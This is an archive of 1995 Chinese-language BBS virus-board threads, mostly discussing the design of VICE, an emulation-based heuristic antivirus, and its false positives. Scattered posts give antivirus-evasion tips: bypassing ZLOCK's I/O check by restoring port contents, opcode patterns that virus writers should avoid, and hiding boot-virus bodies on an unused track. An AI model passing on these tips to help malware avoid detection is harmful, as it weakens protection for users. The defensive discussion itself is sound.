> 那是不是也要继续模拟两种情况呢?同时也要再储存目前的状态...
> 哇......工程浩大!可望而不可及....除非偷吃步....
是这样子的没错,只不过我没有用 backtracking 的方式去做,因此,
也就不用储存目前的状态,因为,要储存起来是不可能的(要存的话,
暂存器和所有用到的记忆体都要存起来,太庞大了!)。
所以我改用另外一种方法,也就是每次都从头做起,这样的好处是不需要
backtracking ,坏处是速度慢,例如,遇到多形病毒每次都要重头做,
有时候就较花时间。
至于多重跳跃指令的问题,没办法,只好照做,也就是说,如果提供的时间够多
,我就会把整个程式执行流程所构成的 tree 状结构都拿来模拟,彻底侦测
病毒的行为。
White Angel
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: INT 21,52
发信站: 台大计中椰林风情站 (Sun Aug 6 17:44:03 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> PeterFerng.bbs@bbs.cis.nctu (好可怜的Peter) 提到:
>> 因为 Skidrow 有点像 4096
>> 都会把自己再拿出来执行一下
>> 这样的行为
>> 已经足以让我判断是一只 virus 了
> 问题是那段执行自己的指令是在搬移到 DOS BUFFER 后执行的...
> 你赶让它搬到 DOS BUFFER 吗?
> 或者你又做一个虚拟的 DOS BUFFER ...
是虚拟的 DOS Buffer 没错(虽然我还是没弄清楚这个 buffer 要做什么)
,事实上,我也没让它再做下去,到此就判断为病毒,不过,最近测一些
程式,发现也许会产生误判,像 Windows 下的 smartdrv.exe 也会把自己
再拿起来执行,颇觉困扰。
你认为呢?如果把这种【自我执行】的程式当成病毒,可以吗?
White Angel
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 台大计中椰林风情站 (Sun Aug 6 17:54:45 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> PeterFerng.bbs@bbs.cis.nctu (好可怜的Peter) 提到:
> 不会怎样啊!当模拟到绝境(碰到不合法指令...等等)时就返回先前
> 判断的条件,继续模拟另一种情况即可....
> 理论可行,且威力不凡....但......难哦....
目前 VICE 是这样做的没错,本来的目标就是希望设计一个彻底分析程式
行为的工具,因此,原则上会模拟许多可能的执行路径,我之前测过根据日期
发作的病毒,例如,只在每个月一号发作的病毒,我把日期设到二号,VICE 还是
可以找到病毒(只是较花时间)。像这样的效果是当初设计的时候最希望
达到的效果之一。
不过,有人可能会想到这种做法的【副作用】了,那就是万一程式跟本不是病毒的话
,模拟所有的程式码就白费时间了
> 或许他有加,只是隐藏起来(加某参数就....)。
> 之前他不是就有说把此功能关闭吗?
> 想必是有写判断行为的东东在里面....
嗯,是有判断行为的东东在里面,只是没有隐藏起来,VICE 内建的就是简单的
推理系统,跟据程式的行为来判断病毒,不会用到 virus pattern
White Angel
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 台大计中椰林风情站 (Sun Aug 6 18:01:36 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> PeterFerng.bbs@bbs.cis.nctu (好可怜的Peter) 提到:
> 请问你何时完成此模拟环境的?
嗯,大概去是去年吧,今年大部份时间在写推理的部份,希望利用病毒的”行为”
来判断病毒,然后再解毒
>> 起来。另外,其实 tbclean 的控制权还是可能被抢走,印象中有一只病毒
>> 就针对它做。
> 就是顶顶大名的 Natas ....
阿,原来就是Natas啊
> tbclean 一分析 Natas,马上硬碟资料全毁....
>> 我现在也是朝这个方向去想,像是去改 MCB 或是改 0:[413] 这种地方的程式就
>> 当成病毒的行为,你觉得可以吗?
> 改 0:[413] 大部份是开机病毒才会有这种动作...
> 改 MCB 的软体可不少哦....尤其是那种想躲的无影无踪的常驻程式..
> 会误判.....必须谨慎....
这就惨了,不知道你能不能举几个例子,让我再想想办法
White Angel
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: 这样可以吗?
发信站: 台大计中椰林风情站 (Sun Aug 6 18:05:58 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> PeterFerng.bbs@bbs.cis.nctu (好可怜的Peter) 提到:
>> 如果用到 IN AL, 40 就当成病毒,这样可以吗?
>> p.s. 因为发现很多【多形病毒】都会用到......
> 误判机率太高...
> 且要解完码才知道有没有此指令....

我是想在做模拟执行的时后判断
因此,是解完码了
White Angel
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 台大计中椰林风情站 (Sun Aug 6 18:12:06 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> Megadeth.bbs@bbs.cis.nctu (I am alive?) 提到:
> ==>[作者]: NewVirus@Hospital,() 在 virus 讨论区中提到:
> 而且还用C来写... 速度就很慢罗
用 C 写会比较慢没有办法,不过好处处是将来可以 port 到 UNIX, Win95, NT
等不同的系统,另外,也许也跟可以利用这种方式分析 Windows 上的病毒
> 但是你一定要去模拟吧... 因为怎么知道跳过去的地方是不是正常路径...
> 如果你跳过去模拟一段时间才放弃, 那么在病毒中安插许多个这种陷阱, 甚至用回圈
> 去重复动作, 那就达到了浪费你模拟时间的效果
这样变得比较慢的病毒,不是也会比较容易被发现吗?
White Angel
=============================================================================
发信人: WhiteAngel@VirusHospital, 信区: virus
标 题: Re: 没有完美的防毒软体
发信站: National Taiwan University (Mon Aug 7 09:31:49 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!VirusHospital!WhiteAngel
Origin: @203.66.253.67
=============================================================================
>!要判断这I/O来自合处也很困难,因为只要有I/O就会有反应,根本分不清是要程式
>要干啥?且判断防毒程式的磁碟I/O埠,相关的有10多个吧!比对程式的流程会很复
>杂,弄不好会只要有动作就响个不停,有等于没有,目前用直接磁碟I/O的病毒并不
>多见,据我所知台湾只有SR-C在流行,实在没必要为这东东搞出一堆麻烦没必要的
我也是这样觉得,毕竟,要防所有的病毒是不可能的。
>东东,所以目前根本没有真正能栏下I/O的防毒软体,至于Zxx广告辞那是骗人,它是
>在INT 15,INT 40上动手脚,让CALL原始中断的东东,因为INT 13H中暗藏了,这两东
>东所以有办法判断CALL的来处,所以当你不经过INT 13H去PUSHF CALL F000:xxxx
>Zxxx就会告诉你I/O xxxx.....
那如果我直接对 port 做 in, out 的话,还会侦测得到吗?
(又,Zxxx 不是很容易当机吗?你怎么 trace 到这么内部的?)
White Angel
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Mon Aug 7 13:17:09 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: deniro.bbs@bbs.ntu(Niro) 在 virus 讨论区中提到:
>> 而且还用C来写... 速度就很慢罗
> 用 C 写会比较慢没有办法,不过好处处是将来可以 port 到 UNIX, Win95, NT
> 等不同的系统,另外,也许也跟可以利用这种方式分析 Windows 上的病毒
嗯... 这样也对, 有利就一定会有弊
>> 但是你一定要去模拟吧... 因为怎么知道跳过去的地方是不是正常路径...
>> 如果你跳过去模拟一段时间才放弃, 那么在病毒中安插许多个这种陷阱, 甚至用回圈
>> 去重复动作, 那就达到了浪费你模拟时间的效果
> 这样变得比较慢的病毒,不是也会比较容易被发现吗?
可以针酌一下, 在病毒执行速度和 VICE 模拟速度之取得一个适当的点...
况且你说过你是用重新执行的方式, 所以速度会更慢
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 没有完美的防毒软体
发信站: 交大资科_BBS (Mon Aug 7 13:20:28 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>>东所以有办法判断CALL的来处,所以当你不经过INT 13H去PUSHF CALL F000:xxxx
>>Zxxx就会告诉你I/O xxxx.....
> 那如果我直接对 port 做 in, out 的话,还会侦测得到吗?
>(又,Zxxx 不是很容易当机吗?你怎么 trace 到这么内部的?)
用 s-ice 就可以了, 且更本不用去 trace, 看中断向量表的 int 15h 位址,
再 u 这个位址的东西也看的出来...
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Mon Aug 7 18:43:15 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 是这样子的没错,只不过我没有用 backtracking 的方式去做,因此,
> 也就不用储存目前的状态,因为,要储存起来是不可能的(要存的话,
> 暂存器和所有用到的记忆体都要存起来,太庞大了!)。
我想也是! 还以为你真写出来....
> 所以我改用另外一种方法,也就是每次都从头做起,这样的好处是不需要
> backtracking ,坏处是速度慢,例如,遇到多形病毒每次都要重头做,
> 有时候就较花时间。
难怪速度超慢.....
但这招确时厉害....佩服....
> 至于多重跳跃指令的问题,没办法,只好照做,也就是说,如果提供的时间够多
什么是多重跳跃指令?
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: INT 21,52
发信站: 交大资科_BBS (Mon Aug 7 18:48:50 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 或者你又做一个虚拟的 DOS BUFFER ...
> 是虚拟的 DOS Buffer 没错(虽然我还是没弄清楚这个 buffer 要做什么)
> ,事实上,我也没让它再做下去,到此就判断为病毒,不过,最近测一些
所谓到此是到那?
发现它要常驻在 DOS BUFFER 吗?
> 程式,发现也许会产生误判,像 Windows 下的 smartdrv.exe 也会把自己
> 再拿起来执行,颇觉困扰。
哦!这我倒不知道,可能是我的程式还没分析到那就认为没有毒,所以
不清楚它会执行自己....
> 你认为呢?如果把这种【自我执行】的程式当成病毒,可以吗?
这种程式实在很少,建议你碰到这种程式就直接跳过....贼吧!
不但不减分析能力,也不会再误判这些怪程式....
所以你就在分析前先检查是不是 smartdrv.exe 即可....:)
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Mon Aug 7 18:54:03 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 改 MCB 的软体可不少哦....尤其是那种想躲的无影无踪的常驻程式..
>> 会误判.....必须谨慎....
> 这就惨了,不知道你能不能举几个例子,让我再想想办法
你说会修正 MCB 的正常程式吗?
我印象比较深刻的是金帅的 GSCAN 常驻时会修改 MCB ...
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: 这样可以吗?
发信站: 交大资科_BBS (Mon Aug 7 19:06:26 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 误判机率太高...
>> 且要解完码才知道有没有此指令....
> 我是想在做模拟执行的时后判断
> 因此,是解完码了
可以当作是一种可能的旗标,但不能光看到 IN AL,40
就说有毒....

=============================================================================
发信人: WhiteAngel@VirusHospital, 信区: virus
标 题: Re: VICE (本人立场)
发信站: National Taiwan University (Mon Aug 7 19:15:04 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!VirusHospital!WhiteAngel
Origin: @203.66.253.67
=============================================================================
>> 至于多重跳跃指令的问题,没办法,只好照做,也就是说,如果提供的时间够多
> 什么是多重跳跃指令?
喔, 就是 conditional jump 之后又有 conditional jump 的意思, 没别的
( 我是觉得你大概很早就想过这个问题 , 只是不知道你会怎么处理....)
White Angel
=============================================================================
发信人: WhiteAngel@VirusHospital, 信区: virus
标 题: Re: INT 21,52
发信站: National Taiwan University (Mon Aug 7 19:20:29 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!VirusHospital!WhiteAngel
Origin: @203.66.253.67
=============================================================================
>>> 或者你又做一个虚拟的 DOS BUFFER ...
>> 是虚拟的 DOS Buffer 没错(虽然我还是没弄清楚这个 buffer 要做什么)
>> ,事实上,我也没让它再做下去,到此就判断为病毒,不过,最近测一些
> 所谓到此是到那?
> 发现它要常驻在 DOS BUFFER 吗?
不是的,我是说发现它要把自己再执行一次,就判断为病毒了....
>> 程式,发现也许会产生误判,像 Windows 下的 smartdrv.exe 也会把自己
>> 再拿起来执行,颇觉困扰。
> 哦!这我倒不知道,可能是我的程式还没分析到那就认为没有毒,所以
> 不清楚它会执行自己....
咦,那有问题,这表示有些状况你就当成【正常情况】而不继续做下去,
这样,不就有漏洞可以挡住你的防毒软体了吗?
>> 你认为呢?如果把这种【自我执行】的程式当成病毒,可以吗?
> 这种程式实在很少,建议你碰到这种程式就直接跳过....贼吧!
> 不但不减分析能力,也不会再误判这些怪程式....
> 所以你就在分析前先检查是不是 smartdrv.exe 即可....:)
嗯,在用偷吃步之前我想再想一想,把 virus / non-virus 的行为界限
再设法厘清.....
White Angel
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: 没有完美的防毒软体
发信站: 交大资科_BBS (Mon Aug 7 19:13:49 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 东东,所以目前根本没有真正能栏下I/O的防毒软体,至于Zxx广告辞那是骗人,它是
>> 在INT 15,INT 40上动手脚,让CALL原始中断的东东,因为INT 13H中暗藏了,这两东
>> 东所以有办法判断CALL的来处,所以当你不经过INT 13H去PUSHF CALL F000:xxxx
>> Zxxx就会告诉你I/O xxxx.....
> 那如果我直接对 port 做 in, out 的话,还会侦测得到吗?
它是把最后一次呼叫 INT 13h 时的 port 内容记下来(磁区号码..等等)
等下次再呼叫 INT 13h 时它再检查 port 的内容有没有被改过,若被改过
就警告....所以若在 IO 前先把 port 的内容存起来,等写完后再还原其
内容....那就.....:)
咦? 我不该多嘴的.....该打...
>(又,Zxxx 不是很容易当机吗?你怎么 trace 到这么内部的?)
常当机的是 ZSIR,原信的内容是讨论 ZLOCK ...
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Mon Aug 7 19:18:52 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 什么是多重跳跃指令?
> 喔 , 就是 conditional jump 之后又有 conditional jump 的意思 , 没别的
> ( 我是觉得你大概很早就想过这个问题 , 只是不知道你会怎么处理....)
就直接模拟,不做特殊处理....
=============================================================================
发信人: WhiteAngel@VirusHospital, 信区: virus
标 题: Re: 这样可以吗?
发信站: National Taiwan University (Mon Aug 7 19:27:01 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!VirusHospital!WhiteAngel
Origin: @203.66.253.67
=============================================================================
> 可以当作是一种可能的旗标,但不能光看到 IN AL,40
> 就说有毒....
你认为可能性有多少?
正常程式要时间不是应该 用 INT 吗?
White Angel
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Mon Aug 7 19:21:22 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 你说会修正 MCB 的正常程式吗?
>> 我印象比较深刻的是金帅的 GSCAN 常驻时会修改 MCB ...
> Well..... GScan 不能算是正常的程式吧......
其实一定还有很多特异功能的程式会修改 MCB 的,因为这东东
实在很有趣,又是 M$ 没有公开的结构....铁定被广为利用...

=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: INT 21,52
发信站: 交大资科_BBS (Mon Aug 7 19:25:44 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 不是的,我是说发现它要把自己再执行一次,就判断为病毒了....
>> 哦!这我倒不知道,可能是我的程式还没分析到那就认为没有毒,所以
>> 不清楚它会执行自己....
> 咦,那有问题,这表示有些状况你就当成【正常情况】而不继续做下去,
> 这样,不就有漏洞可以挡住你的防毒软体了吗?
漏洞是一定有的,但病毒作者不见得会发现....
且我的软体不继续做下去也可能是真的碰到病毒没用到的东东...
>> 所以你就在分析前先检查是不是 smartdrv.exe 即可....:)
> 嗯,在用偷吃步之前我想再想一想,把 virus / non-virus 的行为界限
> 再设法厘清.....
再怎么样也会有误判的,我的贱招是绝对有效的.....
但我不保证这是唯一的方法,或许你能想出更好的方法...
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: 这样可以吗?
发信站: 交大资科_BBS (Mon Aug 7 19:32:47 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 可以当作是一种可能的旗标,但不能光看到 IN AL,40
>> 就说有毒....
> 你认为可能性有多少?
> 正常程式要时间不是应该 用 INT 吗?
会取乱数的程式大部份会用这种方法....
我对正常程式的定义是『非病毒的程式』....
而不是使用特殊方法的程式...
在 DOS 下的程式有太多都用特殊方法来做特殊的功能...
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Tue Aug 8 00:31:45 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: WhiteAngel@VirusHospital,() 在 virus 讨论区中提到:
>> 可以针酌一下, 在病毒执行速度和 VICE 模拟速度之取得一个适当的点...
> 咳....咳.....这就难了.....所谓【适当】是什么意思呢?
适当就是说... 在 "正常" 执行时它只会慢一点时间 (人感觉不出来的程度),
但是被模拟时这个延时就会被放大许多倍 (依你的 VICE 来看, 指令正常执行的
速度应该比模拟时快了 100 倍以上, 甚至 1000 倍... 原本不到 0.01 秒就可以
执行完的东西, 在模拟时却得花一、两分钟)
但是这只是个推论, 因为我没玩过 VICE (因为我没有), 所以无法做这个实验 :>
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Tue Aug 8 00:36:16 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: PeterFerng@cis_nctu(好可怜的Peter) 在 virus 讨论区中提到:
>> 这就惨了,不知道你能不能举几个例子,让我再想想办法
> 你说会修正 MCB 的正常程式吗?
> 我印象比较深刻的是金帅的 GSCAN 常驻时会修改 MCB ...
really? 你是说 gscan 会利用类似病毒的 MCB 修改法来常驻?
我记得它是把自己往前搬 100h bytes 好省去 PSP 所占的记忆体,
还是我的版本太旧了?!
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Tue Aug 8 00:38:43 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: WhiteAngel@VirusHospital,() 在 virus 讨论区中提到:
>> 什么是多重跳跃指令?
> 喔 , 就是 conditional jump 之后又有 conditional jump 的意思 , 没别的
> ( 我是觉得你大概很早就想过这个问题 , 只是不知道你会怎么处理....)
他根本不管这个问题, 他是照实模拟... 所以有可能因为日期, 而产生不同的判断
结果
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 这样可以吗?
发信站: 交大资科_BBS (Tue Aug 8 00:59:45 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: WhiteAngel@VirusHospital,() 在 virus 讨论区中提到:
>> 可以当作是一种可能的旗标,但不能光看到 IN AL,40
>> 就说有毒....
> 你认为可能性有多少?
> 正常程式要时间不是应该 用 INT 吗?
嗯... 给你一个建意... 希望对你有用
你可以看一些高阶语言或 asm 组译器产生的程式档结构... 和指令码...
可以简单的归纳出...
1.一般档案的 CS != SS
2.一般档案的 SP 值为双数
3.一般的编译器均有指令码最佳化, 但是由多形程式产生出来的码就不一定会有罗...
像: add ax,1234h 应该是 05h 34h 12h
但是像 -> 81h 0c0h 34h 12h 也是 add ax,1234h, 却不是最佳化
像: add ax,cx 应该是 03h 0c1h, 01h 0c8h 也同样是 add ax,cx
, 但是一般编译器均采用前者 (debug 例外... )
又... 类似 jmp $+2、loopxx $+2、jxx $+2 ... 等, 一看就知道是多形程式
这一类的东西实在很多, 只举三个例子当作参考
其它应该还有许多特徵可抓的... 如果你是病毒作者, 那同样的... 上面提到的
几点也是最基本你该避开的把柄
嘻... 我是很大方的, 讲出来之后是不会打自己巴掌的... :D
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Tue Aug 8 01:11:03 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 我印象比较深刻的是金帅的 GSCAN 常驻时会修改 MCB ...
> really? 你是说 gscan 会利用类似病毒的 MCB 修改法来常驻?
> 我记得它是把自己往前搬 100h bytes 好省去 PSP 所占的记忆体,
哇..被拆穿了....
其实我是猜的,因为当我让 GSCAN 常驻时,用 RAMMAP 竟然
找不到它的踪迹,除了修改 MCB 外还有别的方法可以做到吗?
=============================================================================
发信人: qaplus.bbs@aidebbs.edu.tw (TANK), 信区: virus
标 题: Re: 没有完美的防毒软体
发信站: 台湾学术网路 BBS 实验站 (Tue Aug 8 07:27:42 1995)
转信站: phoenix!news.csie.nctu!bbsroute!aide_bbs
=============================================================================
==> 在 WhiteAngel. 的文章中提到:
:> 杂,弄不好会只要有动作就响个不停,有等于没有,目前用直接磁碟I/O的病毒并不
:> 多见,据我所知台湾只有SR-C在流行,实在没必要为这东东搞出一堆麻烦没必要的
: 我也是这样觉得,毕竟,要防所有的病毒是不可能的。
我认为一套好的防毒软体只要能扫的到,解得掉现有的病毒就很够了,反正新病毒
一出,还是把现有所谓人工智慧给捅的乱七八遭,不要去强求人工智慧要超过virus
作者的真人智慧,必竟目前还很遥远......
:> 东东,所以目前根本没有真正能栏下I/O的防毒软体,至于Zxx广告辞那是骗人,它是
:> 在INT 15,INT 40上动手脚,让CALL原始中断的东东,因为INT 13H中暗藏了,这两东
:> 东所以有办法判断CALL的来处,所以当你不经过INT 13H去PUSHF CALL F000:xxxx
:> Zxxx就会告诉你I/O xxxx.....
: 那如果我直接对 port 做 in, out 的话,还会侦测得到吗?
Zxxx只对Sr-c有效,原因未知,我想可能还是从此毒别的漏动下手.....
我作过一个简单的实验,我用某E-IDE的Driver,TRACE后发现,它会比对80H然后
提供自己的磁碟I/O,此时我只要CALL这东东,Zlxxx乖乖的被穿过了....以此证
明,Zxxx是唬人的...
:(又,Zxxx 不是很容易当机吗?你怎么 trace 到这么内部的?)
我是让Zl..K常驻后,直接用DEBUG trace其栏掉的中断,再trace BIOS内部,比对
一下就推出来了,本来Zxxx是用INT 40H后来好像被某毒干掉后,(印像中是MAC 4
.0,)改用INT 15H,.....
至于当机那就不用说了,就算是Zsxx也是当的夸张,害我没事就要重开机,VICE好
一点,不过很多东东都抓无,拿我搜括来的东东试,平均命中率不到40%..PVSCAN又
好一点不过要骗也不是难事....
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Tue Aug 8 12:49:45 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: PeterFerng@cis_nctu(好可怜的Peter) 在 virus 讨论区中提到:
>> really? 你是说 gscan 会利用类似病毒的 MCB 修改法来常驻?
>> 我记得它是把自己往前搬 100h bytes 好省去 PSP 所占的记忆体,
> 哇..被拆穿了....
> 其实我是猜的,因为当我让 GSCAN 常驻时,用 RAMMAP 竟然
> 找不到它的踪迹,除了修改 MCB 外还有别的方法可以做到吗?
oh! no...
它并没有改 MCB... 那是因为 RAMMAP 还有 check PSP (像 PSP 的 int 20h...etc),
而 gscan 把 PSP 给破坏了, 所以 RAMMAP 当然就不显示罗...
当初 MacGyver 1.0 也是用这个方法常驻的
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 台大计中椰林风情站 (Tue Aug 8 12:54:44 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
> 他根本不管这个问题, 他是照实模拟... 所以有可能因为日期, 而产生不同的判断
> 结果
嗯,产生不同的判断并没有关系,只是要在后续的多重模拟中,才能侦测到病毒的
行为.....
White Angel
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 这样可以吗?
发信站: 交大资科_BBS (Thu Aug 10 15:59:10 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: deniro.bbs@bbs.ntu(Niro) 在 virus 讨论区中提到:
>> 其它应该还有许多特徵可抓的... 如果你是病毒作者, 那同样的... 上面提到的
>> 几点也是最基本你该避开的把柄
>> 嘻... 我是很大方的, 讲出来之后是不会打自己巴掌的... :D
> 嗯,这些想法真的很有趣,好像是从40Hex 还是 vlad 中出来的
我记得 vlad 和 crypt 里面曾经有提到过
> 我一直想加上类似的判断,但是又不晓得会不会造成误判,哎,难矣
完成之后再拿一堆档案来试就知道了嘛
> 况且,我希望做到即使被变形引擎编码过的正常程式都不会误判,
> 所以,要再想想罗
不要一判断出是多形就认为是病毒, 你应该设个百分比... 如果是多形程式
的话就将病毒的可能性提高, 在加上其它特徵... 等分析完之后, 看比率是
否到达标准...
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Thu Aug 10 16:05:17 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: deniro.bbs@bbs.ntu(Niro) 在 virus 讨论区中提到:
>> 他根本不管这个问题, 他是照实模拟... 所以有可能因为日期, 而产生不同的判断
>> 结果
> 嗯,产生不同的判断并没有关系,只是要在后续的多重模拟中,才能侦测到病毒的
> 行为.....
但是他的模拟程式并没有像你模拟 yes & no 两种情况
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VT.bot 的内容??
发信站: 交大资科_BBS (Tue Aug 22 05:38:29 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: ShortBoy.bbs@csie.nctu(秀逗男孩) 在 virus 讨论区中提到:
> 请问一下 VThunt 里面的 VT.bot 档案,总共包含了多少的资料呀?它占 5632 bytes
> 硬碟的 Partition 和 boot 磁区不是各一个磁区呀?
> 5632 bytes 刚刚好是 11 个磁区耶! 它到底存放了哪些重要的资料?
放 boot sector & partition 及和 partition 同一轨的其它磁区...
因为它会检查整个 partition 磁轨的磁区, 如果有开机型病毒存在的话...
即使是隐藏了第 1 个磁区 (partition) 但是其它磁区有放 virus body 而忘了
隐藏, 就有可能被抓到... 不过要写这部份的隐藏也是很简单的, 大不了不把
virus body 放在这里, 我记得以前有人说过 fdisk 会留下最后一轨不使用...
所以, 就可以拿来善加利用... 以免浪费 :)
> 另外我用 Tracer 的 Trmate 存硬碟的资料,它存了 32768 bytes 耶,请问它又是存
> 了
对了! Tracer 也是用这种方法来简查的, 所以 PF 就学起来了...
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 有点怪怪的scanvir
发信站: 交大资科_BBS (Tue Aug 22 05:47:55 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: htk.bbs@bbs.ee.nthu.(我得救了!) 在 virus 讨论区中提到:
> ==> 在 Megadeth.bbs@bbs.cis.nctu (I am alive?) 的文章中提到:
>: 我不会那么小气的, 不过我也没有仔细去看... 只是发现 dos 的 int 21h/ax=4b00
>: 会去比较这个执行档内容是否为这种档案, 或者说是否有这种壳... 只要有它就会
>: 改一些东西 (一些程式码和资料)...
>: 而当 virus 感染这种档案后, 由于 cs:ip 指标的改变, 使 dos 检查不出来, 所以
>: 原执行档被感染前和感染后在记忆体的内容是不同的...
>: 所以感染前要先检查此 exe 档的 cs:[ip-2] 是否有 RB 这个 mark, 如果有就 skip
> So .......如果每个exe 档都加上那玩意不就真的玩完了?
对啊, 不过每个 exe 都加上它? 那是不可能的事, 如果是真的话反到好办...
因为所有 exe 都加上那种规格的壳... 那我们就可以专心的写对付这个壳的东西,
不然的... 就要利用到 stealth 了, 而且是拦在 int 21h 的副程式里 (像 Assassin)
, 那样的话... 就连 int 21h/ax=4b00h 都骗过了...
>: 哇~~~ 和我同年次... 可是在电话中的声音怎么那么老... 喔! 不... 该说是成熟..
>: (不这样讲会被K... 嘻...)
> 他不会K 你的...最近他被国防部买去了. 我正在计画到NCU 骚扰他....
哇... 国防买他干嘛? 用来对附中共?
>: 嗯! 我看你们两个都是宝... 呵
> 你才是勒....
好吧! 那我们就是 "耍宝三剑客",
大宝: TarMax
中宝: Htk
小宝: DS
呵... ^_^
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 请问一下压缩会产生病毒吗?麻烦各位!
发信站: 交大资科_BBS (Tue Aug 22 06:03:12 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
